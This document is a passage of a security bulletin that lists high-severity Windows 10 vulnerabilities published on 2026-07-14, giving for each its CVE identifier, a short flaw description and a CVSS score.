| Microsoft--Windows 10 Version 1607 | Integer underflow (wrap or wraparound) in Reliable Multicast Transport Driver (RMCAST) allows an unauthorized attacker to execute code over an adjacent network.                        | 2026-07-14 | 8.8        | <a href="#">CVE-2026-54982</a> |
| Microsoft--Windows 10 Version 1607 | Heap-based buffer overflow in Windows Message Queuing Queue Manager allows an unauthorized attacker to execute code locally.                                                            | 2026-07-14 | 8.4        | <a href="#">CVE-2026-54992</a> |
| Microsoft--Windows 10 Version 1607 | Use after free in Reliable Multicast Transport Driver (RMCAST) allows an unauthorized attacker to execute code over a network.                                                          | 2026-07-14 | 8.1        | <a href="#">CVE-2026-54995</a> |
| Microsoft--Windows 10 Version 1607 | Concurrent execution using shared resource with improper synchronization ('race condition') in Windows TCP/IP allows an unauthorized attacker to execute code over an adjacent network. | 2026-07-14 | 8.8        | <a href="#">CVE-2026-54999</a> |
| Microsoft--Windows 10 Version 1607 | Out-of-bounds read in Windows Schannel allows an authorized attacker to disclose information over a network.                                                                            | 2026-07-14 | 8.1        | <a href="#">CVE-2026-56186</a> |

# High Vulnerabilities

| Primary Vendor -- Product          | Description                                                                                                                                                                                   | Published  | CVSS Score | Source & Patch Info            |
|------------------------------------|-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------|------------|--------------------------------|
| Microsoft--Windows 10 Version 1607 | Heap-based buffer overflow in Windows Network File System allows an authorized attacker to elevate privileges over a network.                                                                 | 2026-07-14 | 8.8        | <a href="#">CVE-2026-56194</a> |
| Microsoft--Windows 10 Version 1607 | Integer overflow or wraparound in Windows Remote Access Service Infrastructure allows an authorized attacker to elevate privileges over a network.                                            | 2026-07-14 | 8.8        | <a href="#">CVE-2026-56647</a> |
| Microsoft--Windows 10 Version 1607 | Heap-based buffer overflow in Microsoft Windows Media Foundation allows an unauthorized attacker to execute code over a network.                                                              | 2026-07-14 | 8.8        | <a href="#">CVE-2026-57087</a> |
| Microsoft--Windows 10 Version 1607 | Heap-based buffer overflow in Microsoft Windows Media Foundation allows an unauthorized attacker to execute code over a network.                                                              | 2026-07-14 | 8.8        | <a href="#">CVE-2026-57090</a> |
| Microsoft--Windows 10 Version 1607 | Heap-based buffer overflow in Microsoft Windows Media Foundation allows an unauthorized attacker to execute code over a network.                                                              | 2026-07-14 | 8.8        | <a href="#">CVE-2026-57094</a> |
| Microsoft--Windows 10 Version 1607 | Heap-based buffer overflow in Microsoft Input Method Editor (IME) allows an authorized attacker to elevate privileges locally.                                                                | 2026-07-14 | 8.8        | <a href="#">CVE-2026-58534</a> |
| Microsoft--Windows 10 Version 1607 | Integer overflow or wraparound in Windows RDP allows an unauthorized attacker to execute code over a network.                                                                                 | 2026-07-14 | 8.8        | <a href="#">CVE-2026-58594</a> |
| Microsoft--Windows 10 Version 1607 | Concurrent execution using shared resource with improper synchronization ('race condition') in Windows Print Spooler Components allows an authorized attacker to execute code over a network. | 2026-07-14 | 8.8        | <a href="#">CVE-2026-58608</a> |
| Microsoft--Windows 10 Version 1607 | Memory allocation with excessive size value in Windows Local Security Authority Subsystem Service (LSASS) allows an unauthorized attacker to deny service over a network.                     | 2026-07-14 | 7.5        | <a href="#">CVE-2026-40378</a> |
| Microsoft--Windows 10 Version 1607 | Improper validation of consistency within input in Windows Secure Kernel Mode allows an authorized attacker to elevate privileges locally.                                                    | 2026-07-14 | 7.8        | <a href="#">CVE-2026-42982</a> |
| Microsoft--Windows 10 Version 1607 | Use of uninitialized resource in Microsoft Windows App Store allows an authorized attacker to disclose information locally.                                                                   | 2026-07-14 | 7.1        | <a href="#">CVE-2026-49165</a> |
| Microsoft--Windows 10 Version 1607 | Use after free in Microsoft Windows Speech allows an authorized attacker to elevate privileges locally.                                                                                       | 2026-07-14 | 7.5        | <a href="#">CVE-2026-49171</a> |
| Microsoft--Windows 10 Version 1607 | Improper privilege management in Windows WalletService allows an authorized attacker to elevate privileges locally.                                                                           | 2026-07-14 | 7.8        | <a href="#">CVE-2026-49176</a> |
| Microsoft--Windows 10 Version 1607 | Integer underflow (wrap or wraparound) in Windows DHCP Client allows an unauthorized attacker to elevate privileges over a network.                                                           | 2026-07-14 | 7.5        | <a href="#">CVE-2026-49181</a> |
| Microsoft--Windows 10 Version 1607 | Improperly implemented security check for standard in Windows Secure Boot allows an authorized attacker to bypass a security feature locally.                                                 | 2026-07-14 | 7.8        | <a href="#">CVE-2026-49783</a> |
| Microsoft--Windows 10 Version 1607 | Concurrent execution using shared resource with improper synchronization ('race condition') in Microsoft Windows App Store allows an authorized attacker to elevate privileges locally.       | 2026-07-14 | 7          | <a href="#">CVE-2026-49784</a> |
| Microsoft--Windows 10 Version 1607 | Allocation of resources without limits or throttling in Windows HTTP.sys allows an unauthorized attacker to deny service over a network.                                                      | 2026-07-14 | 7.5        | <a href="#">CVE-2026-49787</a> |
| Microsoft--Windows 10 Version 1607 | Allocation of resources without limits or throttling in HTTP/2 allows an unauthorized attacker to deny service over a network.                                                                | 2026-07-14 | 7.5        | <a href="#">CVE-2026-49788</a> |
| Microsoft--Windows 10 Version 1607 | Stack-based buffer overflow in Windows NTFS allows an authorized attacker to elevate privileges locally.                                                                                      | 2026-07-14 | 7.3        | <a href="#">CVE-2026-49789</a> |
| Microsoft--Windows 10 Version 1607 | Windows Universal Disk Format File System Driver (UDFS) Elevation of Privilege Vulnerability                                                                                                  | 2026-07-14 | 7.3        | <a href="#">CVE-2026-49790</a> |
| Microsoft--Windows 10 Version 1607 | Improper link resolution before file access ('link following') in Windows Routing and Remote Access Service (RRAS) allows an authorized attacker to elevate privileges locally.               | 2026-07-14 | 7.1        | <a href="#">CVE-2026-49791</a> |

# High Vulnerabilities

| Primary Vendor -- Product          | Description                                                                                                                                                                                 | Published  | CVSS Score | Source & Patch Info            |
|------------------------------------|---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------|------------|--------------------------------|
| Microsoft--Windows 10 Version 1607 | Numeric truncation error in Windows Resilient File System (ReFS) allows an authorized attacker to execute code locally.                                                                     | 2026-07-14 | 7.8        | <a href="#">CVE-2026-49792</a> |
| Microsoft--Windows 10 Version 1607 | Heap-based buffer overflow in Windows Resilient File System (ReFS) allows an authorized attacker to execute code locally.                                                                   | 2026-07-14 | 7.8        | <a href="#">CVE-2026-49793</a> |
| Microsoft--Windows 10 Version 1607 | Heap-based buffer overflow in Windows GDI+ allows an unauthorized attacker to execute code locally.                                                                                         | 2026-07-14 | 7.8        | <a href="#">CVE-2026-49796</a> |
| Microsoft--Windows 10 Version 1607 | Heap-based buffer overflow in Windows NTFS allows an unauthorized attacker to execute code locally.                                                                                         | 2026-07-14 | 7.8        | <a href="#">CVE-2026-49797</a> |
| Microsoft--Windows 10 Version 1607 | Concurrent execution using shared resource with improper synchronization ('race condition') in Windows AppX Deployment Service allows an authorized attacker to elevate privileges locally. | 2026-07-14 | 7          | <a href="#">CVE-2026-49803</a> |
| Microsoft--Windows 10 Version 1607 | Improper access control in Windows Win32K allows an authorized attacker to elevate privileges locally.                                                                                      | 2026-07-14 | 7          | <a href="#">CVE-2026-49805</a> |
| Microsoft--Windows 10 Version 1607 | Use after free in Graphics Kernel allows an authorized attacker to elevate privileges locally.                                                                                              | 2026-07-14 | 7          | <a href="#">CVE-2026-50296</a> |
| Microsoft--Windows 10 Version 1607 | Improper access control in Windows Win32K allows an authorized attacker to elevate privileges locally.                                                                                      | 2026-07-14 | 7          | <a href="#">CVE-2026-50297</a> |
| Microsoft--Windows 10 Version 1607 | Use after free in Windows TCP/IP allows an authorized attacker to elevate privileges locally.                                                                                               | 2026-07-14 | 7.8        | <a href="#">CVE-2026-50306</a> |
| Microsoft--Windows 10 Version 1607 | Integer underflow (wrap or wraparound) in Windows NTFS allows an unauthorized attacker to execute code locally.                                                                             | 2026-07-14 | 7.8        | <a href="#">CVE-2026-50308</a> |
| Microsoft--Windows 10 Version 1607 | Heap-based buffer overflow in Windows NTFS allows an authorized attacker to execute code locally.                                                                                           | 2026-07-14 | 7.8        | <a href="#">CVE-2026-50309</a> |
| Microsoft--Windows 10 Version 1607 | Improper access control in Windows Server allows an authorized attacker to elevate privileges locally.                                                                                      | 2026-07-14 | 7.8        | <a href="#">CVE-2026-50311</a> |
| Microsoft--Windows 10 Version 1607 | Heap-based buffer overflow in Windows NTFS allows an unauthorized attacker to execute code locally.                                                                                         | 2026-07-14 | 7.8        | <a href="#">CVE-2026-50313</a> |
| Microsoft--Windows 10 Version 1607 | Stack-based buffer overflow in Windows Resilient File System (ReFS) allows an authorized attacker to elevate privileges locally.                                                            | 2026-07-14 | 7.8        | <a href="#">CVE-2026-50318</a> |
| Microsoft--Windows 10 Version 1607 | Concurrent execution using shared resource with improper synchronization ('race condition') in Windows USB Driver allows an authorized attacker to elevate privileges locally.              | 2026-07-14 | 7.8        | <a href="#">CVE-2026-50321</a> |
| Microsoft--Windows 10 Version 1607 | Improper access control in Windows Win32K allows an authorized attacker to elevate privileges locally.                                                                                      | 2026-07-14 | 7          | <a href="#">CVE-2026-50325</a> |
| Microsoft--Windows 10 Version 1607 | Uncaught exception in Windows Server Update Service allows an unauthorized attacker to perform tampering over a network.                                                                    | 2026-07-14 | 7.5        | <a href="#">CVE-2026-50328</a> |
| Microsoft--Windows 10 Version 1607 | Heap-based buffer overflow in Remote Desktop Client allows an unauthorized attacker to elevate privileges over a network.                                                                   | 2026-07-14 | 7.5        | <a href="#">CVE-2026-50330</a> |
| Microsoft--Windows 10 Version 1607 | Use after free in Windows Application Model allows an authorized attacker to elevate privileges locally.                                                                                    | 2026-07-14 | 7.8        | <a href="#">CVE-2026-50331</a> |
| Microsoft--Windows 10 Version 1607 | Heap-based buffer overflow in Windows Kernel allows an authorized attacker to elevate privileges locally.                                                                                   | 2026-07-14 | 7.8        | <a href="#">CVE-2026-50332</a> |
| Microsoft--Windows 10 Version 1607 | Missing authentication for critical function in Windows Spaceport.sys allows an authorized attacker to elevate privileges locally.                                                          | 2026-07-14 | 7.8        | <a href="#">CVE-2026-50333</a> |



# High Vulnerabilities

| Primary Vendor -- Product          | Description                                                                                                                                                                             | Published  | CVSS Score | Source & Patch Info            |
|------------------------------------|-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------|------------|--------------------------------|
| Microsoft--Windows 10 Version 1607 | Incorrect type conversion or cast in Windows Notification allows an authorized attacker to elevate privileges locally.                                                                  | 2026-07-14 | 7.8        | <a href="#">CVE-2026-50337</a> |
| Microsoft--Windows 10 Version 1607 | Improper authorization in Windows OLE allows an authorized attacker to elevate privileges locally.                                                                                      | 2026-07-14 | 7.8        | <a href="#">CVE-2026-50344</a> |
| Microsoft--Windows 10 Version 1607 | Improper authorization in RPC Runtime allows an authorized attacker to elevate privileges locally.                                                                                      | 2026-07-14 | 7.8        | <a href="#">CVE-2026-50346</a> |
| Microsoft--Windows 10 Version 1607 | Heap-based buffer overflow in Windows Data dll allows an unauthorized attacker to execute code locally.                                                                                 | 2026-07-14 | 7.8        | <a href="#">CVE-2026-50347</a> |
| Microsoft--Windows 10 Version 1607 | Improper access control in Windows Audio Compression Manager (ACM) allows an authorized attacker to elevate privileges locally.                                                         | 2026-07-14 | 7.8        | <a href="#">CVE-2026-50351</a> |
| Microsoft--Windows 10 Version 1607 | Use after free in Windows Kernel allows an authorized attacker to elevate privileges locally.                                                                                           | 2026-07-14 | 7.1        | <a href="#">CVE-2026-50354</a> |
| Microsoft--Windows 10 Version 1607 | Concurrent execution using shared resource with improper synchronization ('race condition') in Microsoft Windows App Store allows an authorized attacker to elevate privileges locally. | 2026-07-14 | 7          | <a href="#">CVE-2026-50356</a> |
| Microsoft--Windows 10 Version 1607 | Numeric truncation error in Windows Resilient File System (ReFS) allows an authorized attacker to execute code locally.                                                                 | 2026-07-14 | 7.8        | <a href="#">CVE-2026-50357</a> |
| Microsoft--Windows 10 Version 1607 | Use after free in Windows Media allows an authorized attacker to elevate privileges locally.                                                                                            | 2026-07-14 | 7          | <a href="#">CVE-2026-50358</a> |
| Microsoft--Windows 10 Version 1607 | Use after free in Microsoft XML Core Services allows an authorized attacker to elevate privileges locally.                                                                              | 2026-07-14 | 7          | <a href="#">CVE-2026-50359</a> |
| Microsoft--Windows 10 Version 1607 | Heap-based buffer overflow in Windows Resilient File System (ReFS) allows an unauthorized attacker to execute code locally.                                                             | 2026-07-14 | 7.8        | <a href="#">CVE-2026-50362</a> |
| Microsoft--Windows 10 Version 1607 | Heap-based buffer overflow in Windows Push Notifications allows an authorized attacker to elevate privileges locally.                                                                   | 2026-07-14 | 7.8        | <a href="#">CVE-2026-50363</a> |
| Microsoft--Windows 10 Version 1607 | Concurrent execution using shared resource with improper synchronization ('race condition') in Windows LUAFV allows an authorized attacker to elevate privileges locally.               | 2026-07-14 | 7          | <a href="#">CVE-2026-50371</a> |
| Microsoft--Windows 10 Version 1607 | Buffer over-read in Windows Redirected Drive Buffering allows an authorized attacker to elevate privileges locally.                                                                     | 2026-07-14 | 7          | <a href="#">CVE-2026-50372</a> |
| Microsoft--Windows 10 Version 1607 | Heap-based buffer overflow in Windows NTFS allows an unauthorized attacker to execute code locally.                                                                                     | 2026-07-14 | 7.8        | <a href="#">CVE-2026-50386</a> |
| Microsoft--Windows 10 Version 1607 | Out-of-bounds read in Windows NTFS allows an unauthorized attacker to execute code locally.                                                                                             | 2026-07-14 | 7.8        | <a href="#">CVE-2026-50388</a> |
| Microsoft--Windows 10 Version 1607 | Access of resource using incompatible type ('type confusion') in Windows Kernel allows an authorized attacker to elevate privileges locally.                                            | 2026-07-14 | 7          | <a href="#">CVE-2026-50390</a> |
| Microsoft--Windows 10 Version 1607 | Improper privilege management in Windows Group Policy allows an authorized attacker to elevate privileges locally.                                                                      | 2026-07-14 | 7.8        | <a href="#">CVE-2026-50391</a> |
| Microsoft--Windows 10 Version 1607 | Use after free in Windows Kernel allows an authorized attacker to elevate privileges locally.                                                                                           | 2026-07-14 | 7          | <a href="#">CVE-2026-50397</a> |
| Microsoft--Windows 10 Version 1607 | Stack-based buffer overflow in Windows App Installer allows an authorized attacker to elevate privileges locally.                                                                       | 2026-07-14 | 7.8        | <a href="#">CVE-2026-50400</a> |
| Microsoft--Windows 10 Version 1607 | Incorrect conversion between numeric types in Windows NTFS allows an authorized attacker to elevate privileges locally.                                                                 | 2026-07-14 | 7.8        | <a href="#">CVE-2026-50402</a> |

# High Vulnerabilities

| Primary Vendor -- Product          | Description                                                                                                                                                                    | Published  | CVSS Score | Source & Patch Info            |
|------------------------------------|--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------|------------|--------------------------------|
| Microsoft--Windows 10 Version 1607 | Insufficient granularity of access control in Windows Filtering Platform (WFP) allows an authorized attacker to elevate privileges locally.                                    | 2026-07-14 | 7.8        | <a href="#">CVE-2026-50405</a> |
| Microsoft--Windows 10 Version 1607 | Heap-based buffer overflow in Windows Resilient File System (ReFS) allows an authorized attacker to elevate privileges locally.                                                | 2026-07-14 | 7.8        | <a href="#">CVE-2026-50407</a> |
| Microsoft--Windows 10 Version 1607 | Stack-based buffer overflow in Windows NTFS allows an authorized attacker to elevate privileges locally.                                                                       | 2026-07-14 | 7.8        | <a href="#">CVE-2026-50412</a> |
| Microsoft--Windows 10 Version 1607 | Heap-based buffer overflow in Windows NTFS allows an authorized attacker to execute code locally.                                                                              | 2026-07-14 | 7.8        | <a href="#">CVE-2026-50417</a> |
| Microsoft--Windows 10 Version 1607 | Access of resource using incompatible type ('type confusion') in Windows Connected User Experiences and Telemetry allows an authorized attacker to elevate privileges locally. | 2026-07-14 | 7.8        | <a href="#">CVE-2026-50421</a> |
| Microsoft--Windows 10 Version 1607 | Out-of-bounds read in Windows NTFS allows an authorized attacker to elevate privileges locally.                                                                                | 2026-07-14 | 7.8        | <a href="#">CVE-2026-50422</a> |
| Microsoft--Windows 10 Version 1607 | Use after free in Windows Media allows an authorized attacker to elevate privileges locally.                                                                                   | 2026-07-14 | 7.8        | <a href="#">CVE-2026-50433</a> |
| Microsoft--Windows 10 Version 1607 | Buffer over-read in Windows Overlay Filter allows an authorized attacker to elevate privileges locally.                                                                        | 2026-07-14 | 7.8        | <a href="#">CVE-2026-50435</a> |
| Microsoft--Windows 10 Version 1607 | Untrusted pointer dereference in Windows Resilient File System (ReFS) allows an authorized attacker to elevate privileges locally.                                             | 2026-07-14 | 7.8        | <a href="#">CVE-2026-50441</a> |
| Microsoft--Windows 10 Version 1607 | Heap-based buffer overflow in Windows NTFS allows an unauthorized attacker to execute code locally.                                                                            | 2026-07-14 | 7.8        | <a href="#">CVE-2026-50448</a> |
| Microsoft--Windows 10 Version 1607 | Missing authentication for critical function in Windows Routing and Remote Access Service (RRAS) allows an authorized attacker to elevate privileges locally.                  | 2026-07-14 | 7.1        | <a href="#">CVE-2026-50451</a> |
| Microsoft--Windows 10 Version 1607 | Heap-based buffer overflow in Windows NTFS allows an unauthorized attacker to execute code locally.                                                                            | 2026-07-14 | 7.8        | <a href="#">CVE-2026-50461</a> |
| Microsoft--Windows 10 Version 1607 | External control of file name or path in Windows Ancillary Function Driver for WinSock allows an authorized attacker to elevate privileges locally.                            | 2026-07-14 | 7.8        | <a href="#">CVE-2026-50462</a> |
| Microsoft--Windows 10 Version 1607 | Out-of-bounds read in Windows Network Policy Server SNMP allows an unauthorized attacker to disclose information over a network.                                               | 2026-07-14 | 7.5        | <a href="#">CVE-2026-50470</a> |
| Microsoft--Windows 10 Version 1607 | Heap-based buffer overflow in Windows NTFS allows an unauthorized attacker to execute code locally.                                                                            | 2026-07-14 | 7.8        | <a href="#">CVE-2026-50471</a> |
| Microsoft--Windows 10 Version 1607 | Use after free in Microsoft Windows allows an authorized attacker to elevate privileges locally.                                                                               | 2026-07-14 | 7.8        | <a href="#">CVE-2026-50476</a> |
| Microsoft--Windows 10 Version 1607 | Heap-based buffer overflow in Windows Web Proxy Auto-Discovery Protocol (WPAD) allows an authorized attacker to elevate privileges locally.                                    | 2026-07-14 | 7.8        | <a href="#">CVE-2026-50480</a> |
| Microsoft--Windows 10 Version 1607 | Heap-based buffer overflow in Windows NTFS allows an authorized attacker to execute code locally.                                                                              | 2026-07-14 | 7.3        | <a href="#">CVE-2026-50482</a> |
| Microsoft--Windows 10 Version 1607 | Use after free in Windows Installer allows an authorized attacker to elevate privileges locally.                                                                               | 2026-07-14 | 7          | <a href="#">CVE-2026-50490</a> |
| Microsoft--Windows 10 Version 1607 | Out-of-bounds read in Code Integrity DLL (ci.dll) allows an authorized attacker to elevate privileges locally.                                                                 | 2026-07-14 | 7          | <a href="#">CVE-2026-50491</a> |
| Microsoft--Windows 10 Version 1607 | Heap-based buffer overflow in Windows NTFS allows an authorized attacker to execute code locally.                                                                              | 2026-07-14 | 7.8        | <a href="#">CVE-2026-50494</a> |

# High Vulnerabilities

| Primary Vendor -- Product          | Description                                                                                                                                                                           | Published  | CVSS Score | Source & Patch Info            |
|------------------------------------|---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------|------------|--------------------------------|
| Microsoft--Windows 10 Version 1607 | Out-of-bounds read in Windows Network Policy Server SNMP allows an unauthorized attacker to disclose information over a network.                                                      | 2026-07-14 | 7.5        | <a href="#">CVE-2026-50496</a> |
| Microsoft--Windows 10 Version 1607 | Windows Universal Disk Format File System Driver (UDFS) Elevation of Privilege Vulnerability                                                                                          | 2026-07-14 | 7.8        | <a href="#">CVE-2026-50498</a> |
| Microsoft--Windows 10 Version 1607 | Use after free in Windows Netlogon allows an authorized attacker to elevate privileges over a network.                                                                                | 2026-07-14 | 7.5        | <a href="#">CVE-2026-50500</a> |
| Microsoft--Windows 10 Version 1607 | Use after free in Windows Message Queuing allows an authorized attacker to execute code over a network.                                                                               | 2026-07-14 | 7.5        | <a href="#">CVE-2026-50505</a> |
| Microsoft--Windows 10 Version 1607 | Deserialization of untrusted data in Windows Wireless Wide Area Network Service allows an authorized attacker to elevate privileges locally.                                          | 2026-07-14 | 7.8        | <a href="#">CVE-2026-50509</a> |
| Microsoft--Windows 10 Version 1607 | Heap-based buffer overflow in Windows Media allows an unauthorized attacker to execute code locally.                                                                                  | 2026-07-14 | 7.8        | <a href="#">CVE-2026-50655</a> |
| Microsoft--Windows 10 Version 1607 | Concurrent execution using shared resource with improper synchronization ('race condition') in Windows NTFS allows an authorized attacker to elevate privileges locally.              | 2026-07-14 | 7.8        | <a href="#">CVE-2026-50667</a> |
| Microsoft--Windows 10 Version 1607 | Concurrent execution using shared resource with improper synchronization ('race condition') in Windows Telephony Service allows an authorized attacker to elevate privileges locally. | 2026-07-14 | 7          | <a href="#">CVE-2026-50669</a> |
| Microsoft--Windows 10 Version 1607 | Null pointer dereference in Windows Kernel allows an authorized attacker to elevate privileges locally.                                                                               | 2026-07-14 | 7.8        | <a href="#">CVE-2026-50673</a> |
| Microsoft--Windows 10 Version 1607 | Double free in Windows DHCP Server allows an authorized attacker to execute code over a network.                                                                                      | 2026-07-14 | 7.5        | <a href="#">CVE-2026-50685</a> |
| Microsoft--Windows 10 Version 1607 | Use after free in Windows Kernel allows an authorized attacker to elevate privileges locally.                                                                                         | 2026-07-14 | 7.8        | <a href="#">CVE-2026-50688</a> |
| Microsoft--Windows 10 Version 1607 | Stack-based buffer overflow in Active Directory Federation Services allows an unauthorized attacker to deny service over a network.                                                   | 2026-07-14 | 7.5        | <a href="#">CVE-2026-50695</a> |
| Microsoft--Windows 10 Version 1607 | Exposure of sensitive information to an unauthorized actor in Windows Common Log File System Driver allows an authorized attacker to elevate privileges locally.                      | 2026-07-14 | 7.8        | <a href="#">CVE-2026-50697</a> |
| Microsoft--Windows 10 Version 1607 | Integer overflow or wraparound in Windows Resilient File System (ReFS) allows an authorized attacker to execute code locally.                                                         | 2026-07-14 | 7.8        | <a href="#">CVE-2026-54109</a> |
| Microsoft--Windows 10 Version 1607 | Integer overflow or wraparound in Windows Active Directory allows an authorized attacker to elevate privileges locally.                                                               | 2026-07-14 | 7.8        | <a href="#">CVE-2026-54115</a> |
| Microsoft--Windows 10 Version 1607 | Loop with unreachable exit condition ('infinite loop') in Windows Active Directory allows an unauthorized attacker to deny service over a network.                                    | 2026-07-14 | 7.5        | <a href="#">CVE-2026-54119</a> |
| Microsoft--Windows 10 Version 1607 | Stack-based buffer overflow in Active Directory Federation Services (AD FS) allows an unauthorized attacker to deny service over a network.                                           | 2026-07-14 | 7.5        | <a href="#">CVE-2026-54983</a> |
| Microsoft--Windows 10 Version 1607 | Heap-based buffer overflow in Windows Win32K allows an authorized attacker to elevate privileges locally.                                                                             | 2026-07-14 | 7.8        | <a href="#">CVE-2026-54986</a> |
| Microsoft--Windows 10 Version 1607 | Heap-based buffer overflow in Windows Overlay Filter allows an authorized attacker to elevate privileges locally.                                                                     | 2026-07-14 | 7.8        | <a href="#">CVE-2026-54987</a> |
| Microsoft--Windows 10 Version 1607 | Use after free in Quality Windows Audio/Video Experience (QWAVE) service allows an authorized attacker to elevate privileges locally.                                                 | 2026-07-14 | 7          | <a href="#">CVE-2026-54989</a> |
| Microsoft--Windows 10 Version 1607 | Improper certificate validation in Windows Active Directory allows an authorized attacker to elevate privileges locally.                                                              | 2026-07-14 | 7.8        | <a href="#">CVE-2026-55001</a> |

# High Vulnerabilities

| Primary Vendor -- Product          | Description                                                                                                                                                                    | Published  | CVSS Score | Source & Patch Info            |
|------------------------------------|--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------|------------|--------------------------------|
| Microsoft--Windows 10 Version 1607 | Double free in Microsoft Printer Drivers allows an authorized attacker to elevate privileges locally.                                                                          | 2026-07-14 | 7.8        | <a href="#">CVE-2026-55004</a> |
| Microsoft--Windows 10 Version 1607 | Insufficient granularity of access control in Active Directory Federation Services (AD FS) allows an authorized attacker to elevate privileges locally.                        | 2026-07-14 | 7.8        | <a href="#">CVE-2026-56155</a> |
| Microsoft--Windows 10 Version 1607 | Heap-based buffer overflow in Windows NTFS allows an authorized attacker to elevate privileges locally.                                                                        | 2026-07-14 | 7.8        | <a href="#">CVE-2026-56175</a> |
| Microsoft--Windows 10 Version 1607 | Out-of-bounds read in Windows Win32K - GRFX allows an authorized attacker to elevate privileges locally.                                                                       | 2026-07-14 | 7.8        | <a href="#">CVE-2026-56176</a> |
| Microsoft--Windows 10 Version 1607 | Integer overflow or wraparound in Windows NTFS allows an authorized attacker to elevate privileges locally.                                                                    | 2026-07-14 | 7.8        | <a href="#">CVE-2026-56182</a> |
| Microsoft--Windows 10 Version 1607 | Heap-based buffer overflow in Microsoft Windows Media Foundation allows an unauthorized attacker to execute code locally.                                                      | 2026-07-14 | 7.8        | <a href="#">CVE-2026-56189</a> |
| Microsoft--Windows 10 Version 1607 | Use after free in Windows Kernel allows an authorized attacker to elevate privileges locally.                                                                                  | 2026-07-14 | 7.8        | <a href="#">CVE-2026-56643</a> |
| Microsoft--Windows 10 Version 1607 | Use after free in Windows Kernel allows an authorized attacker to elevate privileges locally.                                                                                  | 2026-07-14 | 7.8        | <a href="#">CVE-2026-56644</a> |
| Microsoft--Windows 10 Version 1607 | Time-of-check time-of-use (toctou) race condition in Windows Network File System allows an authorized attacker to elevate privileges over a network.                           | 2026-07-14 | 7.5        | <a href="#">CVE-2026-56648</a> |
| Microsoft--Windows 10 Version 1607 | Heap-based buffer overflow in Windows Network File System allows an authorized attacker to elevate privileges locally.                                                         | 2026-07-14 | 7.8        | <a href="#">CVE-2026-56650</a> |
| Microsoft--Windows 10 Version 1607 | Use after free in Windows SMB Server Network Transport Driver (srvnet.sys) allows an unauthorized attacker to execute code over a network.                                     | 2026-07-14 | 7.5        | <a href="#">CVE-2026-57089</a> |
| Microsoft--Windows 10 Version 1607 | Stack-based buffer overflow in Windows File History Service allows an authorized attacker to elevate privileges locally.                                                       | 2026-07-14 | 7.8        | <a href="#">CVE-2026-57091</a> |
| Microsoft--Windows 10 Version 1607 | Use after free in Windows Ancillary Function Driver for WinSock allows an authorized attacker to elevate privileges locally.                                                   | 2026-07-14 | 7          | <a href="#">CVE-2026-57093</a> |
| Microsoft--Windows 10 Version 1607 | Heap-based buffer overflow in Windows Routing and Remote Access Service (RRAS) allows an authorized attacker to elevate privileges locally.                                    | 2026-07-14 | 7.8        | <a href="#">CVE-2026-57096</a> |
| Microsoft--Windows 10 Version 1607 | Heap-based buffer overflow in Windows Resilient File System (ReFS) allows an unauthorized attacker to execute code locally.                                                    | 2026-07-14 | 7.8        | <a href="#">CVE-2026-58530</a> |
| Microsoft--Windows 10 Version 1607 | Concurrent execution using shared resource with improper synchronization ('race condition') in Windows SMB allows an authorized attacker to elevate privileges over a network. | 2026-07-14 | 7.5        | <a href="#">CVE-2026-58531</a> |
| Microsoft--Windows 10 Version 1607 | Integer overflow or wraparound in Windows Kernel allows an authorized attacker to elevate privileges locally.                                                                  | 2026-07-14 | 7.8        | <a href="#">CVE-2026-58532</a> |
| Microsoft--Windows 10 Version 1607 | Improper authorization in Windows Installer allows an authorized attacker to elevate privileges locally.                                                                       | 2026-07-14 | 7.8        | <a href="#">CVE-2026-58540</a> |
| Microsoft--Windows 10 Version 1607 | Access of resource using incompatible type ('type confusion') in Windows DWM allows an authorized attacker to elevate privileges locally.                                      | 2026-07-14 | 7.8        | <a href="#">CVE-2026-58541</a> |
| Microsoft--Windows 10 Version 1607 | Heap-based buffer overflow in Virtual Hard Disk (VHD) Miniport Driver allows an authorized attacker to elevate privileges locally.                                             | 2026-07-14 | 7.8        | <a href="#">CVE-2026-58601</a> |
| Microsoft--Windows 10 Version 1607 | Out-of-bounds read in Microsoft Graphics Component allows an unauthorized attacker to execute code locally.                                                                    | 2026-07-14 | 7.8        | <a href="#">CVE-2026-58609</a> |

# High Vulnerabilities

| Primary Vendor -- Product          | Description                                                                                                                                                                          | Published  | CVSS Score | Source & Patch Info            |
|------------------------------------|--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------|------------|--------------------------------|
| Microsoft--Windows 10 Version 1607 | Heap-based buffer overflow in Microsoft Windows Media Foundation allows an unauthorized attacker to execute code locally.                                                            | 2026-07-14 | 7.8        | <a href="#">CVE-2026-58610</a> |
| Microsoft--Windows 10 Version 1607 | Use after free in Windows Sensor Data Service allows an authorized attacker to elevate privileges locally.                                                                           | 2026-07-14 | 7          | <a href="#">CVE-2026-58619</a> |
| Microsoft--Windows 10 Version 1607 | Uncontrolled resource consumption in Windows DHCP Server allows an unauthorized attacker to deny service over a network.                                                             | 2026-07-14 | 7.5        | <a href="#">CVE-2026-58627</a> |
| Microsoft--Windows 10 Version 1607 | Use after free in Windows DirectX allows an authorized attacker to elevate privileges locally.                                                                                       | 2026-07-14 | 7          | <a href="#">CVE-2026-58629</a> |
| Microsoft--Windows 10 Version 1607 | Use after free in Windows Win32K allows an authorized attacker to elevate privileges locally.                                                                                        | 2026-07-14 | 7.8        | <a href="#">CVE-2026-58632</a> |
| Microsoft--Windows 10 Version 1607 | Use after free in Windows Client-Side Caching (CSC) Service allows an authorized attacker to elevate privileges locally.                                                             | 2026-07-14 | 7          | <a href="#">CVE-2026-58637</a> |
| Microsoft--Windows 10 Version 1607 | Heap-based buffer overflow in Windows NTFS allows an authorized attacker to execute code locally.                                                                                    | 2026-07-14 | 7.3        | <a href="#">CVE-2026-58640</a> |
| Microsoft--Windows 10 Version 1809 | Use after free in Windows Kernel allows an authorized attacker to elevate privileges locally.                                                                                        | 2026-07-14 | 8.8        | <a href="#">CVE-2026-49795</a> |
| Microsoft--Windows 10 Version 1809 | Untrusted pointer dereference in Windows DirectX allows an authorized attacker to execute code locally.                                                                              | 2026-07-14 | 8.8        | <a href="#">CVE-2026-50382</a> |
